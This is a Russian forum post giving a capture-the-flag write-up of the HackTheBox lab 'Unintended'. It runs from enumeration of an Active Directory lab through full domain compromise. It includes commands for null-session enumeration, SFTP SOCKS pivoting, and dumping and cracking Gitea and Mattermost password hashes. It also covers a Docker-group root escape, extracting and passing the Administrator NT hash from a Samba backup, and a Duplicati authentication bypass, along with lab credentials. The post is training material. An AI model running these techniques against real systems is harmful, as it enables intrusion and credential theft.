LIMB
Вход Регистрация

тема

Получаем свой первый сертификат на HTB или прохождение Mini Pro Lab Unintended

yashechka · · 5 ответов · 684 просмотров

Компания Unintended недавно перевела свою инфраструктуру на Active Directory. Руководство обеспокоено тем, что устаревшие методы и упущенные из виду ошибки конфигурации могут сделать среду уязвимой для внешних угроз. Вашей фирме поручено провести тестирование на проникновение с целью определения, может ли злоумышленник перейти от первоначального доступа к полному контролю над доменом.

Unintended предоставляет практический опыт решения распространенных ошибок при развертывании Active Directory, демонстрируя, как злоумышленники могут переключаться между службами для повышения привилегий. Машина сочетает методы повышения привилегий в Linux с путями атак на Active Directory, что делает её ценной площадкой для практики как для специалистов по наступательной, так и по оборонительной безопасности.

Unintended предназначена для тех, кто хочет расширить свои знания об эксплуатации Active Directory в среде, ориентированной на Linux. Машина хорошо подходит для тех, кто хочет понять реальные ошибки конфигурации в гибридной инфраструктуре.

В этой лаборатории Red Team Operator уровня I игроки столкнутся со следующими темами:

  • Перечисление резервных копий Active Directory
  • Боковое перемещение
  • Пивотинг
  • Повышение привилегий в Linux
  • Криминалистический анализ резервных копий
  • Атаки на веб-приложения

По заданию нам даны 3 айпи адреса.

10.13.38.57
10.13.38.58
10.13.38.59


Проверим, что они доступны.

ping -c 1 10.13.38.57 | grep ttl
ping -c 1 10.13.38.58 | grep ttl
ping -c 1 10.13.38.59 | grep ttl

Не удалось прогрузить медиа


Просканируем порты на этих машинах.

sudo masscan -p1-65535,U:1-65535 10.13.38.57 --rate=500 -e tun0 > unintended.57
sudo masscan -p1-65535,U:1-65535 10.13.38.58 --rate=500 -e tun0 > unintended.58
sudo masscan -p1-65535,U:1-65535 10.13.38.59 --rate=500 -e tun0 > unintended.59

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Теперь просканируем порты более подробно nmapом.

nmap -p22,53,88,135,139,389,445,464,636,3268,3269,49152,49153,49154 -sC -sV -oA nmap/unintended.57 10.13.38.57
nmap -p21,22 -sC -sV -oA nmap/unintended.58 10.13.38.58
nmap -p22,80 -sC -sV -oA nmap/unintended.59 10.13.38.59

Не удалось прогрузить медиа

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Как видно из первого скана, наш домен называется unintended.vl, а имя машины dc.

Давайте добавим эту информацию в файл hosts.

sudo nano /etc/hosts

Не удалось прогрузить медиа


Если перейдем на веб сервис по адресу 10.13.38.59 то увидим следующую страницу.

Не удалось прогрузить медиа


Нас приветствует страница заглушка.

Проверим домен контроллер на нулевую аутентификацию.

netexec smb 10.13.38.57 -u '' -p '' --users

Или через RPC.

rpcclient -U '' -N 10.13.38.57 -c enumdomusers | cut -d'[' -f2 | cut -d']' -f1

Не удалось прогрузить медиа


Нам доступны имена пользователей, давайте сохраним их в файл users.txt.

nano users.txt

Не удалось прогрузить медиа


Также nmap сказал нам, что включена анонимная привязка LDAP — отличный вектор перечисления.

Давайте перечислим LDAP.

ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base

Не удалось прогрузить медиа


Получаем следующую информацию:

Домен — unintended.vl

Контроллер - dc.unintended.vl (компьютерная учётка: dc$)

Тип - Samba AD (не Windows)

Функциональный уровень -2008 R2 (уровень 4)

Аутентификация - NTLM, Kerberos (GSSAPI/SPNEGO)

Репликация - Включена, сервер — Global Catalog

Активность - Очень низкая (USN=4488)

LDAP Controls - Поддержка пагинации, запроса прав, шифрования

Доступные разделы - 5 контекстов (домен, конфигурация, схема, две DNS-зоны)

Мы можем перечислить общие ресурсы.

netexec smb 10.13.38.57 -u '' -p '' --shares

Не удалось прогрузить медиа


Есть общий ресурс home, но он нам пока недоступен.

Проверим пользователей на ASREProast.

impacket-GetNPUsers -usersfile users.txt unintended.vl/

Не удалось прогрузить медиа


Но нужных флагов не установлено.

Проведем фаззинг поддоменов.

ffuf -u http://10.13.38.59/ -H 'Host: FUZZ.unintended.vl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

Не удалось прогрузить медиа


Нашлось два домена, но сделаем ещё один тест с применением другой утилиты.

dnsenum --dnsserver 10.13.38.57 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl

Не удалось прогрузить медиа


Здесь на момент написания статьи у машины что-то с днс сервером, хотя масскан говорит, что порт открыт. Вывод должен быть таким.

Не удалось прогрузить медиа


Пропишем новые поддомены в файл hosts.

sudo nano /etc/hosts

Не удалось прогрузить медиа


Перейдя по адресу нас встречает Gitea: Git with a cup of tea.
Не удалось прогрузить медиа


Перейдя в репозитории, видим, что Хуан имеет открытый репозиторий.

Не удалось прогрузить медиа


Также видим пользователей.

Не удалось прогрузить медиа


Походим по репозиториям и находим следующие коммиты.

http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785

Не удалось прогрузить медиа


http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22

Не удалось прогрузить медиа


Попробуем подключиться с полученным учетными данными к ssh.

ssh [email protected]

Не удалось прогрузить медиа


Нам дают подсказку - This service allows sftp connections only.

Подключимся по sftp как нам советуют.

sftp [email protected]

Не удалось прогрузить медиа


Но на ftp ничего не находим.

Не удалось прогрузить медиа


Согласно разделу на HackTricks, служба SFTP может быть неправильно настроена, разрешая переадресацию портов и туннелирование, даже если она запрещает вход по SSH, что позволяет нам исследовать и получать доступ к внутренним портам и сетям.

Давайте настроим SOCKS-прокси:

ssh -D 1080 -N [email protected]

Не удалось прогрузить медиа


Поправим конфиг proxychains4.

sudo nano /etc/proxychains4.conf

Не удалось прогрузить медиа


Теперь можем запустить nmap через прокси и просканировать порты.

sudo proxychains4 nmap -sT -Pn 127.0.0.1

Не удалось прогрузить медиа


На сервере открыт порт mysql – 3306.

Подключимся к серверу базы данных.

sudo proxychains4 mysql -h 127.0.0.1 -u root -p

Не удалось прогрузить медиа
👍32 ❤️4 😮6 👏4
Посмотрим базы данных.

show databases;

Не удалось прогрузить медиа


Нас будет интересовать база данных gitea.

Переходим в неё.

use gitea;

Не удалось прогрузить медиа


И смотрим таблицы.

show tables;

Не удалось прогрузить медиа


Нас интересует таблица пользователей users, извлечем информацию из неё.

select email,passwd,passwd_hash_algo,salt,is_admin from user;

Не удалось прогрузить медиа


Мы работаем с шифрованием pbkdf2$50000, со страницы hashcat можно узнать режим для брутфорса и правильный вид хеша.

10900PBKDF2-HMAC-SHA256 sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

Преобразует полученные данные в нужный формат.

Для начала выпишем хеш и соль.

хеш - f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902

соль
 — 6f7cf4aa34feb922092ef9f7ca342fa5

Преобразуем соль в base64.

echo '6f7cf4aa34feb922092ef9f7ca342fa5' | xxd -r -p | base64

Не удалось прогрузить медиа


Преобразуем хеш в base64.

echo 'f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902' | xxd -r -p | base64

Не удалось прогрузить медиа


Создадим файл для брута.

sudo nano administrator.gitea.hash

Не удалось прогрузить медиа


И брутим с использованием hashcat.

hashcat -m10900 administrator.gitea.hash rockyou.txt

Не удалось прогрузить медиа


Пароль успешно сбрутился, но если повторим для Хуана, нас ждем неудача.

С полученным паролем заходим в админку.

Перейдя в репозитории видим, что доступен новый репозиторий.

Не удалось прогрузить медиа


В истории команд находим пароль.

http://code.unintended.vl/juan/home-backup/src/branch/main/.bash_history

Не удалось прогрузить медиа


Проверим, что учетка валидная.

netexec smb 10.13.38.57 -u 'juan' -p 'theJUANman2019' --shares

Не удалось прогрузить медиа


Получим информацию о пользователе juan.

netexec ldap 10.13.38.57 -u 'juan' -p 'theJUANman2019' --query "(sAMAccountName=juan)" 

Не удалось прогрузить медиа

Хуан принадлежит группе Web Developers.

netexec ldap 10.13.38.57 -u 'juan' -p 'theJUANman2019' --query "(sAMAccountName=abbie)" ""

Не удалось прогрузить медиа


Эбби
 состоит в группе Backup Operators.

Также можем перечислить компьютеры.

netexec ldap 10.13.38.57 -u 'juan' -p 'theJUANman2019' --query "(objectCategory=computer)" ""

Не удалось прогрузить медиа


Видно, что у нас три компьютера в домене.

Подключаемся под Хуаном, осматриваемся и забираем первый флаг.

ssh -l [email protected] web.unintended.vl

Не удалось прогрузить медиа


Не удалось прогрузить медиа

Никаких привилегий sudo нет.

Не удалось прогрузить медиа


Поэтому переключимся на Mattermost.

sudo proxychains4 nmap -sT -Pn 127.0.0.1 -p8065

Не удалось прогрузить медиа


Не забываем правильно настроить FoxyProxy.

Не удалось прогрузить медиа


http://127.0.0.1:8065/login

Заходим в Mattermost под учеткой Хуана  находим следующую переписку.

Не удалось прогрузить медиа


Кроме упоминания о пароле находим информацию, что в работе есть база данных PostgreSQL, которая работает в докере.

Не удалось прогрузить медиа


Поищем эту базу данных.

ps aux | grep postgres

Не удалось прогрузить медиа


sudo proxychains4 nmap 172.18.0.3 -p5432 -Pn -sT


Порт открыт, значит можем подключаться.

sudo proxychains4 psql -h 172.18.0.3 -d mattermost -U mmuser

Сверясь с документацией https://github.com/mattermost/docker/blob/main/env.example можем узнать имя и пароль к базе данных.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Извлекаем нужные нам данные.

SELECT username,password,authdata,authservice,email,nickname,firstname,lastname,roles FROM users;

Не удалось прогрузить медиа
👍1
У нас есть три хеша, соханим их в файл.

nano hashes.txt

Не удалось прогрузить медиа


Узнаем тип хеша.

hashid hashes.txt

Не удалось прогрузить медиа


Вспоминая подсказку из чата как должен выглядеть пароль создаем словарь с использованием cook.

go install -v github.com/glitchedgitz/cook/v2/cmd/cook@latest

/home/kali/go/bin/cook abbie,spencer,Abbie,Spencer,theabbs 1920-2024 > abbie.wordlist


И запускаем hashcat.

hashcat -m3200 hashes.txt abbie.wordlist

Не удалось прогрузить медиа


Снова зайдем в Mattermost, но уже под новой учеткой, найдем переписку и получим новый пароль.

Не удалось прогрузить медиа


Проверим учетку.

netexec smb 10.13.38.57 -u abbie -p 'Hiu8sy8SA8h2' --shares

Не удалось прогрузить медиа


Подключаемся к серверу.

ssh -l [email protected] backup.unintended.vl

Эбби
 состоит в группе Docker, что позволяет легко получить права root на хосте, смонтировав корневую файловую систему в контейнере.

Не удалось прогрузить медиа


Посмотрим образы.

Не удалось прогрузить медиа


docker run -v /:/mnt --rm -it python:3.11.2-slim chroot /mnt sh

Не удалось прогрузить медиа


Забираем второй флаг.

Не удалось прогрузить медиа


В домашней папке находим папку scripts.


Не удалось прогрузить медиа


Посмотри файл server.py.

cat server.py

Не удалось прогрузить медиа


Получаем логин и пароль для ftp сервера.

Подключаемся к ftp серверу.

Не удалось прогрузить медиа


Переходим в папку с бэкапов домена.

Не удалось прогрузить медиа


И загружаем бэкап самбы.

Не удалось прогрузить медиа


Распаковываем полученный файл.

tar -xvjf samba-backup-2024-02-17T20-32-13.580437.tar.bz2

Не удалось прогрузить медиа


Установим нужные инструменты для работы с самбой.

sudo apt install ldb-tools -y

sudo apt install samba-dsdb-modules -y

Не удалось прогрузить медиа


Ищем хеш в базе данных.

ldbsearch -H private/sam.ldb '(objectClass=user)' sAMAccountName 'unicodepwd'

Не удалось прогрузить медиа


Согласно документации хеш ещё нужно декодировать.

https://samba.tranquil.it/doc/en/samba_fundamentals-about_password_hash.html

python3 -c "import codecs, binascii; print(binascii.hexlify(codecs.decode(b'Nv4kHqDqpTPV+si9f7b4ow==', 'base64')).decode())"

Не удалось прогрузить медиа


Проверим полученный хеш на домене.

netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3

Не удалось прогрузить медиа


Учётка работает, посмотрим теперь шары к которым не было доступа.

netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 --shares

Не удалось прогрузить медиа


Теперь шара доступа на запись и чтение, подключимся к ней и заберем флаг.

netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 --spider home --pattern txt

Не удалось прогрузить медиа


netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 --share home --get-file root.txt root.txt

Не удалось прогрузить медиа


Получаем третий флаг.

Не удалось прогрузить медиа
👍1
Мы собрали три флага, остался последний четвертый, вернемся на backup сервер и переключимся в докер.

docker exec -it scripts_ftp_1 bash

Не удалось прогрузить медиа


Перейдем в папку volumes.

cd volumes

Не удалось прогрузить медиа


Посмотри файлы в папку docker_src.

ls docker_src/

Не удалось прогрузить медиа


Здесь лежат бэкапы, нам нужно упаковать их и забрать себе на kali, сначала запакуем файлы.

tar -zcf docker_src.tar.gz docker_src/

Не удалось прогрузить медиа


Выйдем из контейнера и скопируем файлы из контейнера на бэкап сервер.

exit

Не удалось прогрузить медиа


Перенесем файл в папку /tmp.

Не удалось прогрузить медиа


Скопируем файл себе на kali и разархивируем.

scp [email protected]@backup.unintended.vl:/tmp/docker_src.tar.gz .

Не удалось прогрузить медиа


sudo tar -zxvf docker_src.tar.gz

Не удалось прогрузить медиа


Загружаем три скрипты для работы с duplicati.

Не удалось прогрузить медиа


Создаем папку restore, там будут лежать восстановленные данные.

mkdir restore

Не удалось прогрузить медиа


Запускаем скрипт восстановления, предварительно изменив права на docker_src.

sudo chown kali:kali docker_src

sudo chmod 777 docker_src

python3 restore_from_python.py

Не удалось прогрузить медиа


Будет много ошибок и это займет достаточно времени.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Проверим папки, должно быть так.

ls restore/source/root/scripts/

Не удалось прогрузить медиа


Проверим базу данных.

tree restore/source/root/scripts/duplicati

Не удалось прогрузить медиа


И начинаем работать с базой данных.

sqlite3 restore/source/root/scripts/duplicati/config/Duplicati-server.sqlite

Не удалось прогрузить медиа


Запросим таблицы.

Не удалось прогрузить медиа


Нам нужна таблица с опциями.

select * from Option;

Не удалось прогрузить медиа


Теперь у нас есть пасс-фраза.

Сейчас нам нужно провести атаку на Duplicati, полный разбор которой находится здесь - https://read.martiandefense.org/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee, но мы воспользуемся скриптом.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Приводим к такому виду.

Не удалось прогрузить медиа
👍4 ❤️1 🔥1
Подменяем эти параметры в Storage и перелогиневаемся.

Не удалось прогрузить медиа
Не удалось прогрузить медиа


Создаем новое задание для бэкапа.

Не удалось прогрузить медиа


Даём имя заданию и выключаем шифрование.

Не удалось прогрузить медиа


Выбираем папку назначения для бэкапа.

Не удалось прогрузить медиа


Выбираем что мы будем бэкапить.

Не удалось прогрузить медиа


В шедулере выставляем все дни.

Не удалось прогрузить медиа


Сохраняем задание.

Не удалось прогрузить медиа


Теперь запускаем задание.

Не удалось прогрузить медиа


Проверяем папку /tmp/flag/.

Не удалось прогрузить медиа


И сделаем восстановление файлов.

Не удалось прогрузить медиа


Вводим путь.

Не удалось прогрузить медиа


И делаем синхронизацию.

Не удалось прогрузить медиа


И забираем последний флаг.

Не удалось прогрузить медиа


Всем флаги захвачены, поздравляю с получением ещё одного сертификата.

Не удалось прогрузить медиа
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.